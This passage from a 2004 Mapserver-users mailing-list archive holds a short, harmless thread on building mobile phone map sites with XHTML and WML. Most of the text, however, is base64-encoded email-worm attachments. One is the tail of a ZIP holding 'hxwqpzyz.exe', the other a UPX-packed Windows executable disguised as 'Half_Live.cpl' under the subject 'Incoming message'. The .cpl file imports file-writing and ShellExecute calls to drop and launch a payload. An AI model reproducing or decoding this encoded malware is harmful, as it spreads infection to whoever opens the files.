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 ----------urtqviiztmnqozqxdzzl-- From brian at entropy.net Thu May 27 19:19:08 2004 From: brian at entropy.net (Brian Russo) Date: Thu, 27 May 2004 22:19:08 -0400 Subject: [Mapserver-users] mapserver for phones / wireless In-Reply-To: <77BC8869-B047-11D8-BF68-000A95CD537A@propertykey.com> References: <20040525175041.GU30798@badfish.securityminded.net> <40B41AC9.8080602@tamu.edu> <88813E74-AED1-11D8-BF68-000A95CD537A@propertykey.com> <20040527212327.GD20990@badfish.securityminded.net> <77BC8869-B047-11D8-BF68-000A95CD537A@propertykey.com> Message-ID: <20040528021908.GA11299@badfish.securityminded.net> Thanks for the link, your product looks pretty cool, and has given me some good ideas for the interface. Pardon me if I decide to rip off certain aspects ;) I think I'll target xhtml, although to be honest my head is still pretty fuzzy over wml 1.3, wap 2.0 and xhtml basic/mp. Openwave looks like a great resource, I'm just reading their getting started section, and it's very informative, thanks. I definitely know what you mean by lag and so forth, I want there to be as few things to enter/links/page loads as possible. I also think you're right as far as having to jump in with both feet and just start working on it. cheers, - bri At Thu, May 27, 2004 at 08:36:40PM -0500, Jeff Hoffmann wrote: > > The only things that I've done for phones aren't publicly accessible > (it contains MLS data and we're not allowed to show it to anyone that's > not a member of our customer's boards). You can see a quick overview > of one product with some simulated screenshots at > http://www.propertykey.com/website/services/mobile/index.jsp The > actual site is pretty simple from a programming perspective especially > if you can target phones that support XHTML. One thing you'll need to > think about is that it's hard to enter text on phones so things that > require a lot of interaction can be a pain. If you have phones that > only support WML, there's more of a learning curve and kind of a mental > shift to a different type of page paradigm. Also, in my experience > there's a lot of lag with phones so you want to think about whether to > split pages so you're not scrolling forever if it's too long vs. making > them too small and introducing a lot of frustration from the lag > involved in having to jump from page to page too often. I don't know > what other advice to give -- I think the best thing to do is to just > jump in and get a feel for how different of a world it is. > > ps: Openwave is a great place to learn about creating web sites for > phones. There's a lot of documentation there plus emulator software > which makes things a lot easier. Also, I think all providers have free > developer sites that will give you more information about specific > phones, sdks, forums, etc. We focused on Sprint phones & they have > good developer info. > > -- > Jeff Hoffmann > jeff at propertykey.com > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- Recursivity. Call back if it happens again. From TMitchell at lignum.com Thu May 27 20:53:29 2004 From: TMitchell at lignum.com (TMitchell) Date: Thu, 27 May 2004 21:53:29 -0600 Subject: [Mapserver-users] Incoming message Message-ID: ----------qbqodculuhqotzaxcklm Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------qbqodculuhqotzaxcklm Content-Type: application/octet-stream; name="Half_Live.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Half_Live.cpl" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAQAAAAFBFAABMAQMA7cGQQAAAAAAAAAAA4AAOIQsBBQwABgAAAAIAAAAAAAAQEQAA ABAAAAAgAAAAAAAQABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAfJIAAAACAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAFBAAADwAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAIAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAHAQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADgBQAA ABAAAAACAAAAAgAAAAAAAAAAAAAAAAAAIAAA4C5yZWxvYwAAKAAAAAAgAAAAAgAAAAQAAAAA AAAAAAAAAAAAAEAAAEIAAAAAAAAAAHxiAAAAMAAAfGIAAAAGAAAAAAAAAAAAAAAAAAAgAADg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcY3Bsc3R1Yi5leGUAb3BlbgAAAFAQAAAAAAAA AAAAANwQAABwEAAAaBAAAAAAAAAAAAAA+hAAAIgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAQ AACeEAAArBAAAMQQAADQEAAAAAAAAOoQAAAAAAAAkBAAAJ4QAACsEAAAxBAAANAQAAAAAAAA 6hAAAAAAAAAZAENsb3NlSGFuZGxlADIAQ3JlYXRlRmlsZUEAZAFHZXRXaW5kb3dzRGlyZWN0 b3J5QQAAuQJXcml0ZUZpbGUA0wJsc3RyY2F0QQAAS0VSTkVMMzIuZGxsAABuAFNoZWxsRXhl Y3V0ZUEAU0hFTEwzMi5kbGwAAAAAAAAAAAAAAFWL7IN9DAF1RpBoAAQAAGjgEQAQ6JsAAABo ABAAEGjgEQAQ6JgAAACQaOARABDoJQAAAAvAdBiQagBqAGoAaOARABBoDRAAEGoA6HcAAAC4 AQAAAMnCDABVi+yDxPhTVjPbkGoAagBqAmoAagNoAAAAwP91COg0AAAAiUX8QHQgvgAwABCt kmoAjUX4UFJW/3X86CMAAAD/dfzoCQAAAEOLw15bycIEAP8lcBAAEP8ldBAAEP8leBAAEP8l fBAAEP8lgBAAEP8liBAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ AAAgAAAAIDEqMS8xOjFPMVQxujHAMcYxzDHSMdgxABAAAAwAAACRMQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeGIAAE1aAAABAAAAAgAAAP//AABAAAAAAAAAAEAA AACoAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAACpJt0T7UezQO1Hs0DtR7NA 7UezQO5Hs0BjWKBAbUezQBFnoUDsR7NAKkG1QOxHs0BSaWNo7UezQAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAFBFAABMAQMAaXJ1cwAAAAAAAAAA4AAPAQsBBQwAUAAAABAAAACQAADw4gAA AKAAAADwAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAABABAAAQAACuSAEAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAApPMAAEwCAAAA8AAApAMAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAkAAA ABAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAAFAAAACgAAAARgAAAAIAAAAA AAAAAAAAAAAAAGAAAPAucnNyYwAAAG4ZAAAA8AAAABoAAABIAAAAAAAAAAAAAAAAAABAAADw MS4yNABVUFghDAkCCL8nPV/a0G+ex8cAAMlCAAAAkgAAJgAAzP///5v6yTpxKisYkPOjKxCJ /HsI2nlCFxgOc+5/XlK//f//uvoEOo8YOa9xFqxxv/Jxj/Zxt+oZ4i07EPLI/Nz/sd3fBTtx /ibJOLwYEqQzOPb6K2vtt+8qDSoFj+oC9qoSOgUADRl/+/YHeT4OkvraNZD6EmE0+nO/Bj2/ /77Fvg6CkAEw8hItug13vwKq/5uveykSBhVTeYcC+o/4EekFj3dv7pECDhJqW0MOETUPEqq6 2zZzYEZqhw53/mq39txm4llapcjsR/L4t9ne34n+GZD+khakvQX/C73twbaqywfJKA1HaCbu 9q3cNa0Gcfz2OxP4QAlRCe8+sv15G/kJUKUe8qlxp/YhkOASY/KU/XdJeTqbBlCxjwuhH/AS g3vnFjLKsbj7EkrFqcqtdX/xOo70qpCUJQy7KMR/FrrBg6xFj4SHySEZrsOX7f9WOxrqeQP7 jvFWnAny+I77VpoHeXt4EugSx5g4CfYSyfwSb+3dkdMS2Aa5eQHoSEKcQvcIrf3/8JxReRP5 g0gNI9EDSsfQkcT/////eRrFxsSJ6MbOifD+u8ahiPX+/BHx/gYR/dbEOhr4/use2sPRUEmp kGkkoX+zfUOHe8lxIuAiBmEzBQhUet/2e7u+juOyEnTE04/9WaHtc50xc//8eTz+ESBC+4gS GAZ2hZ/b3pL4FVNwBCRNvb0u9ncXhEP6E3LuwAQ4GAMSYtb4beM8vwRxM8Bw/sFyv4UNsu3u tgjLBfVMrwnAchVw7NuFtwXAu8EoiPgoBDmPL9i3F9zZagK5j/Jw+TwHcGzEFtq5+wXcAVeM Av619uPkugQbTwPuwnKvbe/b3WOvBg0GcAwEF5HCm+tcixAaCQX4eqRx3bq3b0DK7soFBRg6 cCP5BAZy3z5Jr2DmGXG6xvkF9U26/IXdLQjW4kLSdA2f2oz31pavqB0F+Tj/iByWrXyY9hMr BTzu9hds5MIXQ+oU3RCja74VdbIIqpB0+9rSm7ezWwXCcXG5a9/+v6EL0TBxqfL5K/mp9nPd BYnqdbYX8p2+du77BT+1ET6gY+13O5DSCQ8GEvZ1OwXqF8qyLALuBjm53v3KyZbaGt+cBRm6 qk222d/U+6qqPXoq+gAJLmyPbTTP6iHyJdIR+ToG5ManISUN+5D7aMfN7raWRVjoFwWo8hEp 9v796HevAon4Pbj+TyP9S/he3ZkGJC7u9deysdusdxM9/IO8MGlasA/skPgxcfykYxcnh7mz THf4EvqAi2yxJYlZ+IqXzcw3ITW2W+JpLPdgMns+gh2t+fgILLjukjN6y2PAFb7dIPC6jr4D ehl3fy2qSzZgv+RbwecCGFqS+0ag6h4zJGREX7dsJyMTEq3mEuKXWqN84SjGfJw9vwCEYd4X vjULBbcADRvgkLoS411Qto/dyf3SwhZ1vf4FCrxpts3Na5wH9gD0Pb3qas/UIj8fnwo/G9ja 2tLlNBpo+Tad8u8n4cJzvUU9pR8aqa3JBd5DR9OBlbBup2/u4WgH3lhs7g7M0BT462MYBtbq EuXGVvV+f3OHCDEdB44KCcvLw686yDPDKwKfkPQYdt+VG6CuANkYuLdC9CT5+fZha9wdFvmh BR5MCqomvcHcbssSWHcT0nrpnkvSEnWaixOBch90nwe3ab1wFgj7DJ/b0QIFopAu1ZIHViAZ ne6hahqFZGuPwxYhnt4MCuEIu9Ni9dzB5JD2rM/ntvfHwXeH+x5M+SKG5nu+qhrU+wnQkjvD v24G3hABrfgS1gP+CL9vOgfeoJLncLog/pAptti7Mag+RvhdAa9Oyp+v5DSKPi78EhcCufvt B5pCqjYPEc95AvsL+jaqszS7ZdP4Fzaq5/ltNsty6uoF6/4F2v9C1dpn7NVPat939Ixw4Ibv NRKVJBK0wE0yD4ew7zkbqbi4a+IT71L/EpcCC/WqFpgKwa21/QHwjP8PiQwEzaoG5V3zB1Sr CfYSTgcsWTQMXArBUUq208ONtqrCTwovAwYY6Q7fLu9WVrq3Gs8OltleRFA1G0p57uEYywa/ TAXlmAq24L7I34nKEBKBwn1yCvQYJt4e7gZ3yXXoCV5FP24v8VgRbjm2BdiPQRUszQcG5x8H ChI0zdQO2ctGg6mkmg7cAQWuTYhFOFvN/novC/eNjXhURfJQIC0GdWZzr8rRD7ROieWebI8g HbAUQvu5utfwxg1G83ezRkM9lQ47mAx3iiaDcROm4TtUj7CGQdlsC7fbL5JeN5K4CSECdVEu W2OYKbIW/A0vCE/Pxu4XFlsvG+6xHXFIDCz9Rdc6CkW8sb+5zQYgJqqtEqEEGegNzAifPbkJ D/hxJX9Sb07G25elmBDLzTJAPilK/H/wGAsZ70MgOxj/OxHh8SljEy22hbz5FhS5QrBFoUn+ hIKqbrb12EejzFxr+0oZ9bayg+rZt/Y9+EW6rVC4ATh5wr8s8i7QubadbqBz+IWw1xyT0WIX b6QqcfIkj/yzx27R4KC7mRKoLQbPb4sVOM0uHboeoXs3Arguzq09fyIG0hu+XYGTa10sc38Z d3fut8UY908MEh0XZrhFvRv72baK9K0bBhIpzBXxJAeE2mcaBw8EM48tHWxzYUNTEUAMPs6l QwVOrVh+PfDOyo4FUxL5IxXDdYzDIHAGq99N4Wl6bosTI1c6Nz0atshD6iGI6M8O/ZeFRkb5 Anb8RCMMGg0M1RD0qYz04Zz5krOxzlm6IWOHCqG0IPiczdjDOvfQIAob+uAqjX2UkBMa3qPq bx0jiLBkcQe8e8S2rb/4b9RdEQ3/KuoicTTRtwJ7O/qxOwsZxhQCBXheWisUezQFIaEqQsG5 Jmo9LgW3ndYZt7tZsvJ7AvrKsB794/fJvcNlm0rOChp1x79HgVkbJdIZbM67SXNWcBL+qcLO 22bLF6AS7C8TEhknnzbdL5wRNPfMydTX7j11B7l7NxDVP8kIuqYfSDkakiNqYrI7aIw9xM5Q qBEo75rqCCyDvRoRpJz7EQB+uoHvS8mGGpdANmhoQD1oqV3aHtBwH5wbOpxGqy079hsMJj72 Cx7JY+53v+8QYkiYtxpJ+o1mkjJriiPfC8hHyREncOoDMuZ2jZIqZ1tgcuTbDCCski1SkEiZ QQ4tzXk4gNEId0sFy2NTxrL1RxgcAovxGSzd+tzI+jsL7uSD6VoUeFbLXgey+bCsufV3Lmgq yFfIkwMuaGfIwwA5cpLIPmJFYvJKXnKEyJbIwMjeQLoH8WyKvxEc5CQfd+jIMmLYyNm8kpfq yCTL1WzJkwOyCMvVbEXLIQeSV33KkMrkySt5VMrOytbKeAEcJaEc9sg4wW7BLB0uyTgb13Vv C0HyRc86VrcoRFkJd+T+gkn5/z4KUP9+8uk2epfyulkOUOItMu8weOdeCQj3DPQFGtp7GxUn M/A7eQv7B3itdXwbMmBkAn8HCdqiyAk+Pf9rgqzO7itvtugJPnOdv9lEahRis70EWlYR/TWj VvDA1LBaVg8EPT8IuTHoQhnKd4cMEe1r7QFDkHsVBnI41RfappNQBR/sCvCIGbN9ybdrDDN+ EdtWJL5hko9GckNuFur/4cFhZco6I+HxuV4gWyviHNVcmAnk8iLiDwQ579YCBu9XCY/+D2vm C1a+JJQyEDLyNd8NmqpHAgVgxl4zyaIhDccjG9lKWHWFBS1OTfbHt9XE9o9QeApO/o2xhVHU sJwVCpx7EEb9nO1vtyWe8wy3CAcb/5zxtwwD0nTN9iucc+oh8gIc8QCiMElvGMtqhh4GbhLf SlTBqtTA1EJ7XkExym6Ay/ZmmgVqkOR8LLoUC5hlW2fUClLP0u5j3+4v8Jx5tyb7BEr7t0k+ Ynatq7s9LrH5/kAkcAVU8Nur7VYeVJxLIDYDGrqmMwuS3BQaTgcYtn31a0yN2xfXHgJCfKvt ezYoo4bXWBICRoh1Ji6boDpinBEDPrMJ29YK+6l5AuRFrdU2c092/Y0TDWIRGnODEwlIudHC bTNLdWTuMAdc9gOxb1KbRg728i1vdnrqDgPmdBLwF2Luet9Wxh4GH16ZoFC2jEuYBJt++gU6 uR7CyKBa2ZI2jFhXAvMXiKC5bBuym+82+AVsqhqtnA2vF7Zz25vFYpf/nwMS/9MNk+4dBoJS 5QUT7rNNgqgLGWov1pLPdw4JFQvWIlpIwkG2JaQ3N9Yl3LlvDOhHEnkQ9hPvZhICgruEFrcd jSXqCUeay1L7+EhW7vCfSy2+BTbN5DTaj1LPu/NS9uZD1LJeEhTR4gShkQ7iXuJsN0g1Jltl X79hhP/RD1eh1p/u+/t5+9R/yUbmu+oi2FHq0AsE3I7+nx3Qj4RO82MG+YT2Et1KNs880AIY +oNfsvE0YyAOO+zFKMVS5OvWEcgSNqofcGbj+lTm2dV0BnjL3EfIjJYb9anAIx7piARbEa6H 